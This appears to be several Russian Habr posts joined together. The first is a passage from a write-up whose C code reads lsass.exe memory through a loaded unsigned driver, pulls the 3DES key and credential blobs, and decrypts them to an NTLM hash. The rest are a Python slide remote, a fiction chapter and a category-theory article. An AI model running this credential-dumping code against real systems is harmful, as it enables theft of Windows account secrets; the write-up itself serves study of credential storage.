printf("[*] 3DES Handle Key pointer: 0x%08llx\n", DES_pointer);
LPSTR h3DesKey_tmp = (LPSTR)malloc(sizeof(KIWI_BCRYPT_HANDLE_KEY));
h3DesKey_tmp = dumpUsermode(hDevice, EPROCESS_lssas, DES_pointer, sizeof(KIWI_BCRYPT_HANDLE_KEY), EPROCESS_GetProcess);
memcpy(&h3DesKey, h3DesKey_tmp, sizeof(KIWI_BCRYPT_HANDLE_KEY));
free(h3DesKey_tmp);
LPSTR h3DesKey_key_tmp = (LPSTR)malloc(sizeof(KIWI_BCRYPT_KEY81));
h3DesKey_key_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)h3DesKey.key, sizeof(KIWI_BCRYPT_KEY81), EPROCESS_GetProcess);
memcpy(&extracted3DesKey, h3DesKey_key_tmp, sizeof(KIWI_BCRYPT_KEY81));
free(h3DesKey_key_tmp);
DES_key = (unsigned char*)malloc(extracted3DesKey.hardkey.cbSecret);
memcpy(DES_key, extracted3DesKey.hardkey.data, extracted3DesKey.hardkey.cbSecret);
printf("\t\t[/!\\] 3DES Key: ");
for (int i = 0; i < extracted3DesKey.hardkey.cbSecret; i++) {
printf("%02x", DES_key[i]);
}
printf(" [/!\\]\n");
free(DES_key);
printf("\t\t================================================\n");
needle_buffer = (PBYTE)malloc(sizeof(LOGONSESSIONLIST_NEEDLE));
memcpy(needle_buffer, &LogonSessionList_needle, sizeof(LOGONSESSIONLIST_NEEDLE));
offset_LogonSessionList_needle = memmem((PBYTE)lsasrv, lsasrv_size, needle_buffer, sizeof(LOGONSESSIONLIST_NEEDLE));
memcpy(&LogonSessionList_offset, lsasrv + offset_LogonSessionList_needle + 0x17, 4);
printf("[*] LogonSessionList Relative Offset: 0x%08llx\n", LogonSessionList_offset);
LogonSessionList = original + offset_LogonSessionList_needle + 0x17 + 4 + LogonSessionList_offset;
printf("[*] LogonSessionList: 0x%08llx\n", LogonSessionList);
printf("\t\t===================[LogonSessionList]===================");
while (currentElem != LogonSessionList) {
if (currentElem == 0) {
currentElem = LogonSessionList;
}
memcpy(¤tElem, lsasrv + offset_LogonSessionList_needle + 0x17 + 4 + LogonSessionList_offset, 8);
printf("Element at: 0x%08llx\n", currentElem);
LPSTR currentElem_tmp = (LPSTR)malloc(sizeof(KIWI_BCRYPT_KEY81));
currentElem_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem, sizeof(currentElem), EPROCESS_GetProcess);
memcpy(¤tElem, currentElem_tmp, sizeof(currentElem_tmp));
free(currentElem_tmp);
USHORT length = 0;
LPWSTR username = NULL;
ULONGLONG username_pointer = 0;
LPSTR length_tmp = (LPSTR)malloc(sizeof(length));
length_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem + 0x90, sizeof(length), EPROCESS_GetProcess);
memcpy(&length, length_tmp, sizeof(length_tmp));
free(length_tmp);
username = (LPWSTR)malloc(length + 2);
memset(username, 0, length + 2);
LPSTR username_pointer_tmp = (LPSTR)malloc(sizeof(username_pointer));
username_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem + 0x98, sizeof(username_pointer), EPROCESS_GetProcess);
memcpy(&username_pointer, username_pointer_tmp, sizeof(username_pointer_tmp));
free(username_pointer_tmp);
LPSTR username_tmp = (LPSTR)malloc(sizeof(username));
username_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)username_pointer, sizeof(username), EPROCESS_GetProcess);
memcpy(username, username_tmp, sizeof(username_tmp));
free(username_tmp);
wprintf(L"\n[+] Username: %s \n", username);
free(username);
ULONGLONG credentials_pointer = 0;
LPSTR credentials_pointer_tmp = (LPSTR)malloc(sizeof(credentials_pointer));
credentials_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem + 0x108, sizeof(credentials_pointer), EPROCESS_GetProcess);
memcpy(&credentials_pointer, credentials_pointer_tmp, sizeof(credentials_pointer_tmp));
free(credentials_pointer_tmp);
if (credentials_pointer == 0) {
printf("[+] Cryptoblob: (empty)\n");
continue;
}
printf("[*] Credentials Pointer: 0x%08llx\n", credentials_pointer);
ULONGLONG primaryCredentials_pointer = 0;
LPSTR primaryCredentials_pointer_tmp = (LPSTR)malloc(sizeof(primaryCredentials_pointer));
primaryCredentials_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)credentials_pointer + 0x10, sizeof(primaryCredentials_pointer), EPROCESS_GetProcess);
memcpy(&primaryCredentials_pointer, primaryCredentials_pointer_tmp, sizeof(primaryCredentials_pointer_tmp));
free(primaryCredentials_pointer_tmp);
printf("[*] Primary credentials Pointer: 0x%08llx\n", primaryCredentials_pointer);
USHORT cryptoblob_size = 0;
LPSTR cryptoblob_size_tmp = (LPSTR)malloc(sizeof(cryptoblob_size));
cryptoblob_size_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)primaryCredentials_pointer + 0x18, sizeof(cryptoblob_size), EPROCESS_GetProcess);
memcpy(&cryptoblob_size, cryptoblob_size_tmp, sizeof(cryptoblob_size_tmp));
free(cryptoblob_size_tmp);
if (cryptoblob_size % 8 != 0) {
printf("[*] Cryptoblob size: (not compatible with 3DEs, skipping...)\n");
continue;
}
printf("[*] Cryptoblob size: 0x%x\n", cryptoblob_size);
ULONGLONG cryptoblob_pointer = 0;
LPSTR cryptoblob_pointer_tmp = (LPSTR)malloc(sizeof(cryptoblob_pointer));
cryptoblob_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)primaryCredentials_pointer + 0x20, sizeof(cryptoblob_pointer), EPROCESS_GetProcess);
memcpy(&cryptoblob_pointer, cryptoblob_pointer_tmp, sizeof(cryptoblob_pointer_tmp));
free(cryptoblob_pointer_tmp);
printf("Cryptoblob pointer: 0x%08llx\n", cryptoblob_pointer);
unsigned char* cryptoblob = (unsigned char*)malloc(cryptoblob_size);
LPSTR cryptoblob_tmp = (LPSTR)malloc(cryptoblob_size);
cryptoblob_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)cryptoblob_pointer, cryptoblob_size, EPROCESS_GetProcess);
memcpy(cryptoblob, cryptoblob_tmp, cryptoblob_size);
printf("[+] Cryptoblob:\n");
for (int i = 0; i < cryptoblob_size; i++) {
printf("%02x", cryptoblob[i]);
}
printf("\n");
free(cryptoblob_tmp);
break;
}
printf("\t\t================================================\n");
free(needle_buffer);
free(lsasrv);
}
```
Результат:
И расшифрую полученный результат с помощью python:
```
from pyDes import *
k = triple_des("221f62e7c7d8e10d612095a6ab610bc2436644180f7274b2".decode("hex"), CBC, "\x00\x00\x00\x00\x00\x00\x00\x00")
print k.decrypt("946854293e1be6cd0502e252a2c427e6065d458c4b2bfe3b5c4b79d700308ab52a5fe373e00d60dfc3627d776f0ebc31f82a5f02b276551eee697ee485626c8858bfdefd67854ff63029ae418855502be06c4c70072772e26b89d7d971ca17b2a5c360130e954f1606b5088297e7dd7b570988b2fb1cf79ce7fd7cd3647392bb165858c81f44f1099664436aa19ed429657fb57f5da7b169d3df91b85ccf8b32e600e0f80debcbc4fc9f355e8f60881f419895bf1589cdb7e9ed44ddc27fcd8e03c815974b405d13f4de760c00d7f159503c75de9ba39d34752bcdc30d72413e9b6e944201c1b84d7b43a1f09821924aab0114a33ca7b0aa59692f67acfe2d1ea7489bda821c921465b5969220e027d51a726486be01d76220f7b870fb3f7c6dd004dc573b2b3f40c80ae7c59461e50f1b08fe42cead0ca77dae19099c9cfa933bff932a3767098084476e4340cd1e99cd65d593c6c1653458b3d3c99078c543a30749d4cffec77c9c350c10be7963112708112b1a9adc729bf92ab8068d740796393d562595a00a9e31975952139df37c9dce429f3eeeeb29d8533bad0eb17832e42407f5b59c65".decode("hex"))[74:90].encode("hex")
```
NTLM hash: **c377ba8a4dd52401bc404dbe49771bbc**
Последним шагом будет получить с помощью Mimikatz NTLM hash и сверить его с найденным мной NTLM hash’ом, чтобы удостоверится в правильной работе разработанного приложения (shor.exe).
Найденный мной NTLM hash совпадает с NTLM hash’ом программы Mimikatz.
Вывод.
------
Подводя итоги, хочу сказать, что это был весьма интересный опыт, благодаря которому я познакомился с проектом KDU, позволяющему загружать не подписанные драйвера. Узнал, как хранится NTLM hash в памяти lsass.exe и как хранится виртуальная память в user-mode.
С исходниками разработанного приложения можно ознакомится на [github](https://github.com/roman5888/shor/tree/main). | https://habr.com/ru/post/649689/ | null | ru | null |
# Дистанционное управление презентацией со смартфона
Делал я недавно доклад (на [Percona Live](http://www.percona.com/live/mysql-conference-2012/)). И как-то ночью (jet-lag все-таки) подумал, что неплохо бы как-нибудь видеть свои комментарии к слайдам — подсказки — и переключать слайды не подходя к ноутбуку. Чудо-устройства, чтоб и слайды переключало и комментарии показывало, у меня не было. Но был смартфон с Андроидом. Гугл-маркет разочаровал. Большинство подобных приложений работало только с PowerPoint, для LibreOffice я нашел только одно, платное, и выглядело оно как-то не так.
Но есть простое решение — браузер. Можно поднять http-сервер на ноутбуке, зайти с телефона, и по ссылкам переключать слайды. И будет работать не только с Андроидом, а и с яблочными, и с виндофонами. Да вообще смартфон не нужен, можно хоть через WAP заходить, или с другого ноутбука.
Получилось довольно просто. Около 70 строк на питоне, никаких внешних зависимостей (почти).
Комментарии читаются из файла (заморачиваться с вытаскиванием их из презентации я не стал). Поднимаем **BaseHTTPServer** на каком-то порту, я пробую все от 8000 до 9000 в случайном порядке, пока не получится. По инструкции со StackOverflow определяем свой IP. И вдобавок генерируем большое случайное число — оно будет частью URL-а, чтобы никто из аудитории не переключал нам слайды. Как мелкое удобство открываю браузер, чтобы показал QR-код для доступа к серверу. Если доступа в Интернет во время конференции не будет — не беда, придется ввести URL руками, и все. А для работы достаточно внутреннего вайфая.
По инструкции к **BaseHTTPServer**, чтобы обрабатывать GET запросы надо создать **do\_GET** метод. Создаем. Первым делом надо проверить, чтоб было наше случайное число. Если есть, и URL заканчивается на next или prev, то имитируем нажатие пробела или, соответственно, backspace, и возвращаем страничку с комментариями для следующей или предыдущей страницы.
У меня стоит **fvwm**, так что с имитацией нажатий проблем не возникло. Для других менеджеров окон можно использовать отдельную программку или даже специальный модуль для питона, такие есть — я проверял.
Ну, собственно, и все. Только шрифт в настройках мобильного браузера нужно делать покрупнее. И комментарии писать покороче, иначе их долго читать — получаются неприятные паузы во время доклада. Да, и таймаут на отключение экрана убрать на смартфоне и в ноутбуке.
Испытание в боевых условиях прошло успешно.
```
#!/usr/bin/python
import sys
import os
import random
import socket
import BaseHTTPServer
import re
handler_class=BaseHTTPServer.BaseHTTPRequestHandler
token="/" + str(random.randint(0, sys.maxint)) + "/"
page = 1
validate = re.compile(token + "(prev|next)$")
def send_key(key):
os.system("FvwmCommand 'All (VCLSalFrame) FakeKeypress press {}'".format(key))
class Handler(BaseHTTPServer.BaseHTTPRequestHandler):
def link(self,s,n):
if n < 0 or n >= len(data):
return " "
return '[{}]({}{})'.format(token,s,s)
def do_GET(self):
cmd = validate.match(self.path)
if cmd is None:
self.send_response(404)
self.send_header("Content-type", 'text/html')
self.end_headers()
self.wfile.write('OK
==
')
return
global page
if cmd.group(1) == 'prev' and page > 0:
page = page - 1
send_key('BackSpace')
elif cmd.group(1) == 'next' and page < len(data)-1:
page = page + 1
send_key('space')
self.send_response(200)
self.send_header("Content-type", 'text/html; charset=utf-8')
self.end_headers()
self.wfile.write("""
{pagenum} - {next}
---
{data}
---
{prev} - {pagenum}
""".format(prev = self.link('prev', page - 1), pagenum = page + 1,
next = self.link('next', page + 1), data = data[page]))
def read_file(s):
with open(s) as f:
return re.split('--- *\n?', f.read())
def ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('192.168.1.1', 0)) # fake, but nobody cares
return s.getsockname()[0]
def make_url(port):
url="http://{}:{}{}prev".format(ip(), port, token)
print url
os.system("firefox 'http://chart.apis.google.com/chart?cht=qr&chs=200x200&chl={}' &".format(url))
def run():
for port in random.sample(xrange(8000, 9000),1000):
try:
httpd = BaseHTTPServer.HTTPServer(('',port), Handler)
httpd.server_activate()
make_url(port)
httpd.serve_forever()
except socket.error, e:
if e.errno not in (98,):
print e
exit()
except KeyboardInterrupt:
print "\nExiting"
exit()
data = read_file('notes.txt')
print "Got {} slides".format(len(data))
run()
``` | https://habr.com/ru/post/132331/ | null | ru | null |
# Ночные созерцатели. Глава первая
> Предлагаю вашему вниманию пятничный, совсем не технический, а точнее сказать совсем художественный текст. Возможно хабр не подходящее место для подобного, и все же именно здесь я хочу его презентовать, поскольку сам по себе уже не первый десяток лет являюсь разработчиком.
>
>
>
> Это пилотный выпуск, поэтому особенно важно ваше мнение.
>
>
>
> Минусуем, если больше так не надо. Плюсуем, если хотим еще.
>
>
### Глава первая
«Так-так-так, вот еще этот метод надо отрефакторить.» — тихие клики клавиш наполняли темную пустую комнату.
«Вот это надо загуглить. Блин, почему все сайты нельзя переключить на темную тему.»
В глубокой ночи сидел человек перед компьютером, слегка вытянув голову к монитору. Перед его глазами плыли строки будто случайно набросанных букв и символов, в которые он всматривался с невероятной концентрацией, не пропуская ни одного элемента зашифрованного потока ему одному понятных конструкций.
«Ох ты ж еж, уже 4:15» в этот же момент вся усталость, жажда и потребность посетить уборную одновременно навалились на него.
«Ничего-ничего, хорошо я сегодня поработал, почти закончил этот модуль уже, завтра надо начать писать анонс на хабр». Со вздохом он поднялся из-за стола и через пятнадцать минут тихо зашел в спальню. Жена спала конечно же, она уже и не пыталась его дождаться или уговорить его пойти спать. Если залип в экран, то уже ничего не поможет.
Он тихо прилег рядом и тишина ночи внезапно накатила давящей массой на сознание, поэтому поспешно достал наушники и включил аудиокнигу, которую слушал, чтобы уснуть поскорее.
И вот уже сон вокруг него, только это совсем непривычный сон, нет ни людей, ни предметов, ни зданий.
Он где-то возле леса на скалистом склоне. Вокруг темно, никого нет, пахнет сырой травой, на небе тучи закрыли солнце, хотя нет, какое солнце, это бледная луна, точнее даже тонкая черта на небе, размыто просвечивающая сквозь облака.
Он посмотрел вниз, какая-то шерсть на груди и короткие лапы. Он и не человек вовсе!
«Что произошло?»
Он поднялся на четыре лапы. Задняя часть была непривычно высоко, чуть ли не выше головы. Первые несколько шагов дались с трудом. Пошатываясь он неловко побежал вокруг скалы. Сразу же за скалой оказалась стая существ.
«Похоже на волков или псов.»
Он попытался что-то спросить, только получилось лишь издать какой-то невнятный рык. Ближайшие несколько голов резко повернулись в его сторону, уставившись на него глазами, святящимися ярко-огненным в ночи.
Заглянув в их глаза он вспомнил, кто они:
`«Я вспомнил, кто мы. Мы темные псы ночи, что бежим по пустынной степи. Мы охотимся за редкими сокровищами этого мира. Стая бежит в погоне за новым сокровищем и каждый бежит внутри этой стаи, вроде бы вместе и в то же время, каждый в своем собственном потоке. Вроде каждый отдельно и в то же время плечом к плечу с другими. Нет нам покоя, потому что альтернатива — темнота забвения. То ли из страха, то ли из надежды объединены мы в единый поток.
Подобно реке, несется стая, не зная отдыха и покоя. Лишь иногда происходит привал, где-нибудь у каменистой скалы. Тогда бывает, что кто-то завоет. Ох уже это нестерпимое желание завыть, его невозможно сдержать, но мы крепим скулы, что есть сил. Случается так, что на одного придется слишком много и уже не хватит сил крепиться, а если уж один не сдержится и в экзистенциальном отчаянии вскинет голову к небу и провозгласит свой гимн величественной луне, то и всех не сдержать, каждый завоет в унисон от своего собственного личного отчаяния и в этом хоре голосов забудемся мы, вспомним, что хоть и воем, но не одни. На то и стая. На то мы и псы.
Пройдет ночь и наступит утро, побежит стая. Даст судьба и встретим на пути баюнов-сказителей. Пусть и не наши, пусть непонятные и чужие, только истории их жизней так близки нашим, так откликаются в волчием сердце, что соберемся вокруг и прижав уши, подвернув хвост отдохнем в полудреме чужеземных сказаний.
Не всем дана такая милость и прочих мы отгоним от стаи куда подальше. Кого-то облаем, да только не со зла, возможно чуть погодя он станет нашим братом и присоединится к нашей бесконечной погоне, станет одним из гончих псов с сияющими в темноте огненными глазами.»`
Вспомнив это он подошел ближе и узнавая каждого прошел дальше вперед, к своему месту. Здесь все его знали и он знал всех, будто каждую ночь проводил здесь.
Стая оживилась. Повеяло прохладным ветром с севера, а вместе с ветром пришел аромат нового направления. Значит время погони настало. Псы двинулись в путь, набирая скорость, преследуя одну им видимую цель. Со стороны похожее на озеро пылающих угольков, плывущее подобно облаку с ветром, мчалась стая к очередной цели.
Глаза внезапно приоткрылись, было уже светло. «Ох, поспать бы еще. Что там снилось? Не помню уже. Пора завтракать и приниматься за работу.»
Очередной рабочий день прошел в исследовании ему одному понятных символов и строк на экране. Завтрак, обед и ужин и снова один в темноте наедине с экраном. Кажется еще несколько строк и модуль будет закончен.
Прошел день, прошла ночь и снова рассветная сумеречность окутала его сознание.
Он снова был в стае. В этот раз он вспомнил все мгновенно.
Сзади раздался грозный рык, его еще не все приняли в стае, но уже понемногу привыкали к его присутствию.
Вдали виднелись костры баюнов-сказителей. Псы остерегались подходить близко к огню поэтому расположись на дальней стороне лагеря со стороны угасающего солнца.
Один из баюнов подошел прямо к нему и внимательно посмотрел в его глаза. Этот внимательный взгляд создавал ощущение растворяющего луча, пронзающего насквозь и обнажающего все самое сокровенное.
«You're not alone» — сказал на незнакомом языке баюн. К нему подошел другой, помладше и начал переводить:
«Ты считаешь, что твой след потерян и кричишь от приближения темноты. Все что тебя пугает лишь мираж. Ты не один в этом мире и куда бы ты ни шел, в каждом ты найдешь сокровище. Настоящее сокровище, а не то далекое и недостижимое к которому мчится стая.»
«Но как же!» хотелось ему ответить, только получился лишь скулящий лай.
В ответ на это старый баюн лишь кивнул и закрыл глаза, возвращаясь к своему мирному покою.
Немного погодя он снова заговорил:
«Нарисуй прямую линию и никто не увидит в ней жизни. Обрисовав же знакомый контур, станет он куда понятнее, хоть и менее очевидным. Слушай внимательно, я расскажу тебе историю одного гордого мангуца:
В том лесу, что за твоей спиной, несколько лет назад еще жил старый мангуц. За свою жизнь он изловил множество змей, разбил тысячи яиц, был крайне злобным, все его за это знали и старались держаться от него подальше.
Однажды мимо пролетал ворон из чужих земель ничего не знавший о злобности старого мангуца. Ворон разговорился с ним и тот поведал историю своей жизни.
Мангуц рассказал, что вырос в семье с тремя братьями. Он был самым младшим в семье и братья его нисколько не уважали, вовсе наоборот — лишь дразнили и шпыняли его. Тот же поклялся, что вырастет и станет самым сильным и умелым среди всех мангуцов и все его будут уважать. Каждый день он тренировался в искусстве охоты и выживания. За несколько лет упорных тренировок он достиг невиданного мастерства и не было равных ему. И вот однажды, когда самый старший брат снова начал смеяться, смеяться над ним, то он гордый бросился на него и убил его за тысячную долю секунды. Вся семья в ужасе отстранилась от гордого мангуца. С тех самых пор все старались держаться от него как можно дальше, тем самым прокляв его на вечное одиночество.
«Вот так я достиг уважения и в то же время потерял семью и друзей.” закончил свой рассказ старый мангуц.
“Получил ли ты того, к чему стремился?” спросил его ворон.
“Быть может, как знать. Я пережил их всех, потому что они все ленивые и неумелые давно погибли попав в охотничью ловушку или от когтей диких гепардов.”
”Только этого ли ты хотел на самом деле?“
”Не знаю я, не знаю. Отстань от меня глупая птица.“ проворчал старый мангуц и впредь ни с кем не заводил подобных разговоров.»
Таким образом завершил баюн-сказитель свою историю, а новенький волк племени Горящих Глаз, еще недавно скуливший в невыразимом лае, теперь озадаченный, встал и отошел в сторону. Сюжет был понятен, только почему-то сильно смутил молодого пса. Он отошел еще дальше и увидел, что перед ним вода темного озера. Вода была абсолютно черной и не давала отражения. Хотя стоит признать, что было бы интересно увидеть, как выглядит озадаченный и задумавшийся пес. И все же вода оставалась совершенно черной. Даже полыхающие огнем глаза не давали бликов на поверхности озера. Странная жидкость будто поглощала все в себя, ничего не отдавая взамен.
Сгущалась ночная тьма и глаза всех псов уже загорелись огненным сиянием. Значит пора в путь.
Стая бежала сквозь черноту сжимаясь от окружающей тьмы в тонкую плотную стрелу, пронзающую пространство этого пустынного мира.
На бегу он глядел вверх и видел, как звезды вторят их шагам, не отставая ни на секунду. Все вместе неслись они по ночи и холодный воздух овевал мех на загривках, пронзал острыми иглами грудь, охлаждал разгоряченные бегом собачьи тела.
«Куда же я бегу?» мелькала странная непривычная мысль.
«Куда же я бегу?»
«Что?» Жена уже проснулась и что-то искала под кроватью.
«Не знаю»
«Вставай уже, полуночник» | https://habr.com/ru/post/488290/ | null | ru | null |
# Теория категорий на JavaScript. Часть 1. Категория множеств
Абстракция – это одна из основных техник в ИТ. Любой язык программирования или моделирования, любая парадигма программирования (процедурная, функциональная, ООП, …) дают ответ на вопрос, как и от чего нужно абстрагироваться. Причём, адепты каждого подхода предлагают какой-то свой вариант абстракции.
Если вы хотите увидеть истинную, универсальную абстракцию, то ~~вступайте в нашу…~~ изучайте теорию категорий. В статье на примере категории множеств с картинками и JavaScript-кодом объясняются самые базовые понятия теории категорий: пределы, универсальное свойство. Рассматривается вычислительный аспект теории категорий.
Также немного говорится про классы, примеси и смеси в JavaScript.
Примеры из статьи можно посмотреть [тут](https://aresekb.github.io/categoricaljs/Set.html).
### Введение
Я думаю, что все слышали о теории категорий. Слышали, что это крутая silver-bullet теория, с помощью которой можно единообразно описывать очень разные вещи. Слышали, что она активно применяется в функциональных языках программирования. Кто-то возможно даже слышал о [языках программирования](https://en.wikipedia.org/wiki/Charity_(programming_language)) или [системах компьютерной алгебры](http://axiom-developer.org/), в значительной степени основанных на теории категорий.
В Интернете много книг и статей на эту тему. Но обычно они ориентированы либо на математиков, либо на ИТшников, занимающихся наукой и странными вещами типа Haskell, ML (ирония – не надо мне ставить минус в карму, как это обычно бывает после упоминания святого Haskell всуе).
А для простых работяг, которые каждый день зарабатывают себе на кусок хлеба фигаченьем на JavaScript, польза от теории категорий мало понятна. Я не обещаю, что после прочтения этого цикла статей она станет понятней. Но если всё получится, то возможно мы даже запилим приложение, которое будет делать что-то полезное.
Сразу предупреждаю, что у меня инженерное, а не математическое образование. Поэтому если вы ожидаете увидеть в статье строгие определения, доказательства теорем и т.п., то не увидите. Скорее наоборот, всё будет описываться «на пальцах». Если вы увидите какие-либо неточности, пожалуйста, пишите, я могу в чём-то ошибаться.
### Что такое категория?
Категория – это всё что угодно, для чего определены:
* класс объектов,
* класс морфизмов (стрелочек) между объектами (причём, для каждого объекта существует тождественный морфизм),
* операция композиции морфизмов,
+ которая является ассоциативной:
(h ∘ g) ∘ f = h ∘ (g ∘ f)
+ для которой тождественные морфизмы являются нейтральными элементами:
f ∘ idA = idB ∘ f = f
Символ ∘ иногда опускают: (h g) f = h (g f)
Также вместо композиции иногда используют конкатенацию морфизмов, чтобы в формуле они шли в том же порядке, что и на диаграмме: (f ; g) ; h = f ; (g ; h) Но такая запись не так удобна как кажется, поэтому редко встречается. Если мы будем рассматривать элементы в следующих статьях, то вы в этом убедитесь.
Чтобы сконструировать категорию чего-то, необходимо
* придумать какие в этой категории будут объекты и морфизмы,
* не забыть про тождественные морфизмы,
* придумать, что представляет собой операция композиции морфизмов,
* доказать, что композиция обладает необходимыми свойствами,
* …
* profit.
Морфизмы должны иметь в точности один исходный и один целевой объект. Они не могут соединять 3 или более объектов, не могут «висеть в воздухе». ([Категории высших порядков](https://en.wikipedia.org/wiki/Higher_category_theory) мы не рассматриваем.)
Применять операцию композиции можно только к совместимым морфизмам. Пусть есть морфизмы f : A → B, g : B → C и h : C → D. Композиция g ∘ f (или f; g) допустима. А следующие композиции недопустимы: h ∘ f, f ∘ f, f ∘ g.
Теперь рассмотрим пример категории. Представьте элементарный топос, он является категорией. Если представили, то вряд ли вы найдёте в этой статье для себя что-то новое. Лучше почитать что-нибудь более фундаментальное.
### Пример свободной категории, порождённой графом
Если всё-таки продолжаете читать, то попробуем сконструировать более понятную категорию. Представьте вашу страницу вконтакте, а также страницы ваших друзей, подписчиков и тех, на кого вы подписаны – всех, с кем вы непосредственно связаны. Это будет **класс объектов**:
Для всех, на кого вы подписаны, нарисуйте стрелку от вашей страницы к странице этого человека. Для всех, кто подписан на вас, нарисуйте стрелку от их страниц к вашей. А для всех ваших друзей нарисуйте стрелки в обоих направлениях:
Теперь проделайте то же самое для остальных страниц:
Будем считать, что если один человек подписан на другого, то 1-ый знает 2-го. Если два человека подписаны друг на друга (они друзья), то они знают друг друга. Т.е. **морфизм** в нашей категории – это отношение «знает».
Будем считать, что все знают сами себя и нарисуем **тождественные морфизмы**:
Определим **операцию композиции морфизмов** следующим образом.
Пусть f – это морфизм, обозначающий, что A знает B, а g – это морфизм, обозначающий, что B знает C. Тогда g ∘ f – это морфизм, который обозначает, что A опосредованно знает C.
**Таким образом, класс морфизмов в нашей категории включает в себя не только отношение «знает», но и «опосредованно знает».**
**Ассоциативность операции композиции** очевидна. Если А знает B, который знает C, который знает D, то как не группируй тут морфизмы, всё равно A опосредованно знает D.
То, что тождественные морфизмы являются **нейтральными элементами композиции** тоже очевидно. Если A знает B, то то, что они знают сами себя, ничего не меняет.
Мы построили [свободную категорию, порождённую графом](https://en.wikipedia.org/wiki/Free_category). С одной стороны, этот пример показывает, как из чего угодно можно построить категорию. С другой стороны, показывает, что категории строятся по определённым правилам.
### Пример предпорядка
В предыдущем примере объекты и морфизмы относительно простые, мы считаем, что у них отсутствует внутренняя структура.
Теперь представьте, что все страницы (ваша и людей, с которыми вы связаны) – это один объект. Множество страниц, имеющих отношение к другому человеку – это другой объект и так далее:
Какие морфизмы могут быть в такой категории?
Например, отношение «подмножество». Если каждый друг, подписчик и т.п. человека A является также другом подписчиком и т.п. человека B, то рисуем морфизм от A к B. В этом случае мы получим [предпорядок](https://en.wikipedia.org/wiki/Preorder), который является категорией:
Или, например, в качестве морфизмов можем использовать функции, которые в качестве аргументов принимают страницы и возвращают для них некоторые другие страницы. В этом случае мы получим категорию множеств. Точнее, её подкатегорию, потому что категория множеств содержит все множества, а не только множества страниц вконтакте.
### Коммутативные диаграммы
В рассмотренных примерах я отождествлял диаграммы с категориями. Но, вообще, это разные вещи. Строго говоря, [диаграмма](https://en.wikipedia.org/wiki/Diagram_(category_theory)) – это функтор. Что такое функтор нам пока неважно.
В одной из предыдущих [статей](https://habrahabr.ru/company/cit/blog/267335/) мы уже отмечали, что модель и её представление в некоторой нотации (диаграмма, текстовое представление или ещё какое-то) – это разные вещи. Аналогично и с категориями.
Пока будем считать, что диаграмма – это некое визуальное представление фрагмента категории, в котором объекты изображаются в виде узлов, а морфизмы – в виде стрелочек между узлами. Впрочем, на диаграмме иногда можно изобразить всю категорию целиком, а не только её фрагмент. Бывают категории, содержащие всего один или несколько объектов и морфизмов.
Диаграммы могут быть коммутативными или некоммутативными.
Коммутативная диаграмма – это диаграмма, на которой для любой пары объектов результат композиции морфизмов не зависит от выбора направленного пути между этими объектами.
Лично я не сразу понял, как диаграмма может быть некоммутативной. Посмотрите на примеры свободной категории, порождённой графом, и предпорядка выше. Если между двумя объектами есть несколько путей, то явно все эти пути эквивалентные – они начинаются одним объектом и заканчиваются одним объектом. Как эти пути могут быть неэквивалентными?
Дело в том, что в предпорядке от некоторого объекта A к некоторому объекту B может идти максимум один морфизм. В свободной категории между парой объектов может быть более одного морфизма (см. обсуждение в комментариях), но в данном примере интуитивно понятно, что эти морфизмы эквиваленты: всегда отражают факт того, что человек A прямо или опосредованно знает человека B. Но, например, в категории множеств между одной и той же парой объектов может быть несколько совершенно разных морфизмов. Рассмотрим в качестве примера очень простую диаграмму с двумя объектами и двумя параллельными морфизмами. Коммутативна ли она?
Она будет коммутативна тогда и только тогда, когда выполняется равенство f = g. Вообще, в теории категорий коммутативные диаграммы часто используются как альтернатива записи систем уравнений. Можно написать «следующие равенства выполняются» и перечислить их. А можно написать «следующая диаграмма коммутативна» и нарисовать диаграмму, соответствующую системе уравнений.
Коммутативность данной диаграммы зависит от того какие множества и функции стоят за нарисованными объектами и морфизмами. Пусть объект A – это множество чисел, объект B – это множество геометрических фигур, морфизм f – это функция, которая для некоторого числа возвращает круг с радиусом равным этому числу, морфизм g – это функция, которая для некоторого числа возвращает квадрат с длиной стороны равной этому числу. Очевидно, что эти две функции не равны, а, значит, диаграмма некоммутативна:
Пусть вас не смущает, что в одной категории смешиваются множества чисел и множества фигур. В этой же категории могут быть множества страничек вконтакте, множества множеств, графов, котиков и чего угодно – всё это одна категория множеств. Рассмотрим её более детально, но сначала немного общих сведений об исходном коде.
### Общая информация по исходному коду
Исходные коды доступны [тут](https://github.com/AresEkb/categoricaljs), а примеры из статьи [тут](https://aresekb.github.io/categoricaljs/Set.html).
Сразу предупреждаю, что большую часть кода я писал 3 года назад, когда ещё не было ES6, и в стандартной библиотеке не было нормальных коллекций. Мне пришлось тогда реализовать свой Set. И, в целом, код наверняка организован не очень оптимально. Я, честно, пытался разложить всё по модулям, прочитал [статью](https://habrahabr.ru/post/312022/) и понял, что теория категорий выглядит гораздо проще, чем вся эта жесть.
В файле Helpers.js наряду с другими вспомогательными функциями определены функции extend и combine. Функция extend уже давно придумана, она позволяет унаследовать один класс от другого и подробно описана [тут](http://javascript.ru/tutorial/object/inheritance). Единственное, моя реализация может добавлять в класс примеси. Очень рекомендую прочитать эту [статью про примеси](http://justinfagnani.com/2015/12/21/real-mixins-with-javascript-classes/), где они рассматриваются как фабрики подклассов, описывается как их можно компактно описывать на ES6. **Вообще, взгляд на примеси как на более общий случай наследования, при котором неизвестен заранее суперкласс, достаточно интересен.**
Лично я не хочу заморачиваться с Babel и т.п., поэтому исходные коды написаны на ES5 и понадобились две эти функции. Примеси нельзя наследовать как классы с помощью extend, их можно только смешивать с помощью метода combine.
